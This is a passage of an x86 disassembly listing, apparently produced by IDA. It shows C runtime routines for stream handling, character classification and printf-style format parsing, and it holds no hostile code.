		jz	short loc_41FD74
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41FD6F
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41FD59
		jmp	short loc_41FDAE
; ---------------------------------------------------------------------------


loc_41FD6F:				; CODE XREF: sub_41FD3D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41FD98
; ---------------------------------------------------------------------------


loc_41FD74:				; CODE XREF: sub_41FD3D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41BEB5
		pop	ecx
		mov	ecx, dword_4DC01C
		mov	[edi+ecx], eax
		mov	eax, dword_4DC01C
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41FDAE
		mov	esi, edi


loc_41FD98:				; CODE XREF: sub_41FD3D+35j
		cmp	esi, ebp
		jz	short loc_41FDAE
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41FDAE:				; CODE XREF: sub_41FD3D+12j
					; sub_41FD3D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41FD3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDB5	proc near		; CODE XREF: sub_41C0CE+17p
					; sub_41C0CE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41FDD3
		mov	ecx, off_43CE78
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41FE25
; ---------------------------------------------------------------------------


loc_41FDD3:				; CODE XREF: sub_41FDB5+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43CE78
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41FDF8
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41FE01
; ---------------------------------------------------------------------------


loc_41FDF8:				; CODE XREF: sub_41FDB5+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41FE01:				; CODE XREF: sub_41FDB5+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4244F4
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41FE21
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FE21:				; CODE XREF: sub_41FDB5+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41FE25:				; CODE XREF: sub_41FDB5+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41FDB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE2A	proc near		; CODE XREF: sub_41C266+46p
					; sub_41C360+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41FF33
		test	al, 40h
		jnz	loc_41FF33
		test	al, 1
		jz	short loc_41FE62
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41FF33
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41FE62:				; CODE XREF: sub_41FE2A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41FE9C
		cmp	esi, offset dword_43D588
		jz	short loc_41FE8A
		cmp	esi, offset dword_43D5A8
		jnz	short loc_41FE95


loc_41FE8A:				; CODE XREF: sub_41FE2A+56j
		push	ebx
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jnz	short loc_41FE9C


loc_41FE95:				; CODE XREF: sub_41FE2A+5Ej
		push	esi
		call	sub_4241F7
		pop	ecx


loc_41FE9C:				; CODE XREF: sub_41FE2A+4Ej
					; sub_41FE2A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41FF09
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41FECC
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41FEFF
; ---------------------------------------------------------------------------


loc_41FECC:				; CODE XREF: sub_41FE2A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41FEE7
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41FEEC
; ---------------------------------------------------------------------------


loc_41FEE7:				; CODE XREF: sub_41FE2A+A5j
		mov	eax, offset dword_43D4D0


loc_41FEEC:				; CODE XREF: sub_41FE2A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41FEFF
		push	2
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch


loc_41FEFF:				; CODE XREF: sub_41FE2A+A0j
					; sub_41FE2A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41FF1D
; ---------------------------------------------------------------------------


loc_41FF09:				; CODE XREF: sub_41FE2A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41FF1D:				; CODE XREF: sub_41FE2A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41FF29
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41FF38
; ---------------------------------------------------------------------------


loc_41FF29:				; CODE XREF: sub_41FE2A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41FF3B
; ---------------------------------------------------------------------------


loc_41FF33:				; CODE XREF: sub_41FE2A+10j
					; sub_41FE2A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41FF38:				; CODE XREF: sub_41FE2A+FDj
		or	eax, 0FFFFFFFFh


loc_41FF3B:				; CODE XREF: sub_41FE2A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41FE2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF3F	proc near		; CODE XREF: sub_41C266+29p
					; sub_41C360+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_420658
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41FF73
; ---------------------------------------------------------------------------


loc_41FF6B:				; CODE XREF: sub_41FF3F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41FF73:				; CODE XREF: sub_41FF3F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_420658
		cmp	bl, 20h
		jl	short loc_41FF94
		cmp	bl, 78h
		jg	short loc_41FF94
		movsx	eax, bl
		mov	al, [eax+42771Ch]
		and	eax, 0Fh
		jmp	short loc_41FF96
; ---------------------------------------------------------------------------


loc_41FF94:				; CODE XREF: sub_41FF3F+40j
					; sub_41FF3F+45j
		xor	eax, eax


loc_41FF96:				; CODE XREF: sub_41FF3F+53j
		movsx	eax, byte_42773C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_420647	; default
		jmp	off_420660[eax*4] ; switch jump


loc_41FFB4:				; DATA XREF: ___:off_420660o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFCF:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 2
		sub	eax, 20h
		jz	short loc_420012
		sub	eax, 3
		jz	short loc_420009
		sub	eax, 8
		jz	short loc_420000
		dec	eax
		dec	eax
		jz	short loc_41FFF7
		sub	eax, 3
		jnz	loc_420647	; default
		or	[ebp+var_4], 8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFF7:				; CODE XREF: sub_41FF3F+A4j
		or	[ebp+var_4], 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420000:				; CODE XREF: sub_41FF3F+A0j
		or	[ebp+var_4], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420009:				; CODE XREF: sub_41FF3F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FF3F+96j
		or	[ebp+var_4], 2
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42001B:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 3
		jnz	short loc_420043
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_420647	; default
		or	[ebp+var_4], 4
		neg	eax


loc_42003B:				; CODE XREF: sub_41FF3F+111j
		mov	[ebp+var_20], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420043:				; CODE XREF: sub_41FF3F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]


loc_42004C:				; DATA XREF: ___:00432860o
					; ___:0043286Co
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_42003B
; ---------------------------------------------------------------------------


loc_420052:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		mov	[ebp+var_10], edx ; jumptable 0041FFAD case 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42005A:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 5
		jnz	short loc_42007D
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_420647	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42007D:				; CODE XREF: sub_41FF3F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42008F:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		cmp	bl, 49h		; jumptable 0041FFAD case 6
		jz	short loc_4200C2
		cmp	bl, 68h
		jz	short loc_4200B9
		cmp	bl, 6Ch
		jz	short loc_4200B0
		cmp	bl, 77h
		jnz	loc_420647	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B0:				; CODE XREF: sub_41FF3F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_41FF3F+158j
		or	[ebp+var_4], 20h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200C2:				; CODE XREF: sub_41FF3F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_4200DB
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_4200DB
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200DB:				; CODE XREF: sub_41FF3F+186j
					; sub_41FF3F+18Cj
		mov	[ebp+var_30], edx


loc_4200DE:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		mov	ecx, off_43CE78	; jumptable 0041FFAD case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42010A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_42010A:				; CODE XREF: sub_41FF3F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		add	esp, 0Ch
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420122:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: ___:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 7
		cmp	eax, 67h
		jg	loc_42034A
		cmp	eax, 65h
		jge	loc_4201CD
		cmp	eax, 58h
		jg	loc_42022B
		jz	loc_4203BE
		sub	eax, 43h
		jz	loc_4201EE
		dec	eax
		dec	eax
		jz	short loc_4201C3
		dec	eax
		dec	eax
		jz	short loc_4201C3
		sub	eax, 0Ch
		jnz	loc_420549
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_42016C
		or	byte ptr [ebp+var_4+1],	8


loc_42016C:				; CODE XREF: sub_41FF3F+227j
					; sub_41FF3F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_420179
		mov	esi, 7FFFFFFFh


loc_420179:				; CODE XREF: sub_41FF3F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_420392
		test	ecx, ecx
		jnz	short loc_4201A1
		mov	ecx, off_43D094
		mov	[ebp+var_8], ecx


loc_4201A1:				; CODE XREF: sub_41FF3F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_4201AA:				; CODE XREF: sub_41FF3F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_420389
		cmp	word ptr [eax],	0
		jz	loc_420389
		inc	eax
		inc	eax
		jmp	short loc_4201AA
; ---------------------------------------------------------------------------


loc_4201C3:				; CODE XREF: sub_41FF3F+212j
					; sub_41FF3F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_4201CD:				; CODE XREF: sub_41FF3F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4202B1
		mov	[ebp+var_10], 6
		jmp	loc_4202BF
; ---------------------------------------------------------------------------


loc_4201EE:				; CODE XREF: sub_41FF3F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_4201FA
		or	byte ptr [ebp+var_4+1],	8


loc_4201FA:				; CODE XREF: sub_41FF3F+2B5j
					; sub_41FF3F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_420241
		call	sub_42073B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_424663
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_420254
		mov	[ebp+var_28], 1
		jmp	short loc_420254
; ---------------------------------------------------------------------------


loc_42022B:				; CODE XREF: sub_41FF3F+1FBj
		sub	eax, 5Ah
		jz	short loc_420262
		sub	eax, 9
		jz	short loc_4201FA
		dec	eax
		jz	loc_420424
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420241:				; CODE XREF: sub_41FF3F+2C5j
		call	sub_42071E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_420254:				; CODE XREF: sub_41FF3F+2E1j
					; sub_41FF3F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420262:				; CODE XREF: sub_41FF3F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		jz	short loc_4202A3
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4202A3
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_420294
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420294:				; CODE XREF: sub_41FF3F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4202A3:				; CODE XREF: sub_41FF3F+32Fj
					; sub_41FF3F+336j
		mov	eax, off_43D090
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_42033F
; ---------------------------------------------------------------------------


loc_4202B1:				; CODE XREF: sub_41FF3F+29Dj
		jnz	short loc_4202BF
		cmp	bl, 67h
		jnz	short loc_4202BF
		mov	[ebp+var_10], 1


loc_4202BF:				; CODE XREF: sub_41FF3F+2AAj
					; sub_41FF3F:loc_4202B1j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43D420
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_420311
		cmp	[ebp+var_10], 0
		jnz	short loc_420311
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D42C
		pop	ecx


loc_420311:				; CODE XREF: sub_41FF3F+3BCj
					; sub_41FF3F+3C2j
		cmp	bl, 67h
		jnz	short loc_420328
		test	esi, esi
		jnz	short loc_420328
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D424
		pop	ecx


loc_420328:				; CODE XREF: sub_41FF3F+3D5j
					; sub_41FF3F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_42033E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_42033E:				; CODE XREF: sub_41FF3F+3F0j
		push	edi


loc_42033F:				; CODE XREF: sub_41FF3F+36Dj
		call	sub_41B9C0
		pop	ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_42034A:				; CODE XREF: sub_41FF3F+1E9j
		sub	eax, 69h
		jz	loc_420424
		sub	eax, 5
		jz	loc_4203FA
		dec	eax
		jz	loc_4203E7
		dec	eax
		jz	short loc_4203B7
		sub	eax, 3
		jz	loc_42016C
		dec	eax
		dec	eax
		jz	loc_420428
		sub	eax, 3
		jnz	loc_420549
		mov	[ebp+var_2C], 27h
		jmp	short loc_4203C5
; ---------------------------------------------------------------------------


loc_420389:				; CODE XREF: sub_41FF3F+270j
					; sub_41FF3F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_420392:				; CODE XREF: sub_41FF3F+24Fj
		test	ecx, ecx
		jnz	short loc_42039F
		mov	ecx, off_43D090
		mov	[ebp+var_8], ecx


loc_42039F:				; CODE XREF: sub_41FF3F+455j
		mov	eax, ecx


loc_4203A1:				; CODE XREF: sub_41FF3F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4203B0
		cmp	byte ptr [eax],	0
		jz	short loc_4203B0
		inc	eax
		jmp	short loc_4203A1
; ---------------------------------------------------------------------------


loc_4203B0:				; CODE XREF: sub_41FF3F+467j
					; sub_41FF3F+46Cj
		sub	eax, ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4203B7:				; CODE XREF: sub_41FF3F+425j
		mov	[ebp+var_10], 8


loc_4203BE:				; CODE XREF: sub_41FF3F+201j
		mov	[ebp+var_2C], 7


loc_4203C5:				; CODE XREF: sub_41FF3F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_42042F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203E7:				; CODE XREF: sub_41FF3F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_42042F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203FA:				; CODE XREF: sub_41FF3F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_420413
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_420418
; ---------------------------------------------------------------------------


loc_420413:				; CODE XREF: sub_41FF3F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_420418:				; CODE XREF: sub_41FF3F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420424:				; CODE XREF: sub_41FF3F+2F7j
					; sub_41FF3F+40Ej
		or	[ebp+var_4], 40h


loc_420428:				; CODE XREF: sub_41FF3F+432j
		mov	[ebp+var_C], 0Ah


loc_42042F:				; CODE XREF: sub_41FF3F+491j
					; sub_41FF3F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_420441
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42072B
		pop	ecx
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_420441:				; CODE XREF: sub_41FF3F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_420468
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42045D
		call	sub_42071E
		pop	ecx
		movsx	eax, ax


loc_42045A:				; CODE XREF: sub_41FF3F+527j
					; sub_41FF3F+539j
		cdq
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_42045D:				; CODE XREF: sub_41FF3F+510j
		call	sub_42071E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_420468:				; CODE XREF: sub_41FF3F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42047A
		call	sub_42071E
		pop	ecx
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_42047A:				; CODE XREF: sub_41FF3F+531j
		call	sub_42071E
		pop	ecx
		xor	edx, edx


loc_420482:				; CODE XREF: sub_41FF3F+500j
					; sub_41FF3F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4204A3
		test	edx, edx
		jg	short loc_4204A3
		jl	short loc_420492
		test	eax, eax
		jnb	short loc_4204A3


loc_420492:				; CODE XREF: sub_41FF3F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4204A7
; ---------------------------------------------------------------------------


loc_4204A3:				; CODE XREF: sub_41FF3F+547j
					; sub_41FF3F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4204A7:				; CODE XREF: sub_41FF3F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4204B0
		and	edi, 0


loc_4204B0:				; CODE XREF: sub_41FF3F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4204BF
		mov	[ebp+var_10], 1
		jmp	short loc_4204C3
; ---------------------------------------------------------------------------


loc_4204BF:				; CODE XREF: sub_41FF3F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4204C3:				; CODE XREF: sub_41FF3F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4204CD
		and	[ebp+var_1C], 0


loc_4204CD:				; CODE XREF: sub_41FF3F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4204D3:				; CODE XREF: sub_41FF3F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4204E3
		mov	eax, esi
		or	eax, edi
		jz	short loc_42051E


loc_4204E3:				; CODE XREF: sub_41FF3F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41DD20
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41DCB0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_420514
		add	ebx, [ebp+var_2C]


loc_420514:				; CODE XREF: sub_41FF3F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4204D3
; ---------------------------------------------------------------------------


loc_42051E:				; CODE XREF: sub_41FF3F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_420549
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_42053C
		test	eax, eax
		jnz	short loc_420549


loc_42053C:				; CODE XREF: sub_41FF3F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_420546:				; CODE XREF: sub_41FF3F+35Fj
					; sub_41FF3F+406j ...
		mov	[ebp+var_C], eax


loc_420549:				; CODE XREF: sub_41FF3F+21Bj
					; sub_41FF3F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_420647	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_420581
		test	bh, 1
		jz	short loc_420566
		mov	[ebp+var_16], 2Dh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420566:				; CODE XREF: sub_41FF3F+61Fj
		test	bl, 1
		jz	short loc_420571
		mov	[ebp+var_16], 2Bh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420571:				; CODE XREF: sub_41FF3F+62Aj
		test	bl, 2
		jz	short loc_420581
		mov	[ebp+var_16], 20h


loc_42057A:				; CODE XREF: sub_41FF3F+625j
					; sub_41FF3F+630j
		mov	[ebp+var_1C], 1


loc_420581:				; CODE XREF: sub_41FF3F+61Aj
					; sub_41FF3F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4205A1
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_4205A1:				; CODE XREF: sub_41FF3F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		test	bl, 8
		jz	short loc_4205D3
		test	bl, 4
		jnz	short loc_4205D3
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4206B5
		add	esp, 10h


loc_4205D3:				; CODE XREF: sub_41FF3F+67Bj
					; sub_41FF3F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_42061A
		cmp	[ebp+var_C], 0
		jle	short loc_42061A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4205E8:				; CODE XREF: sub_41FF3F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_424663
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_42062F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
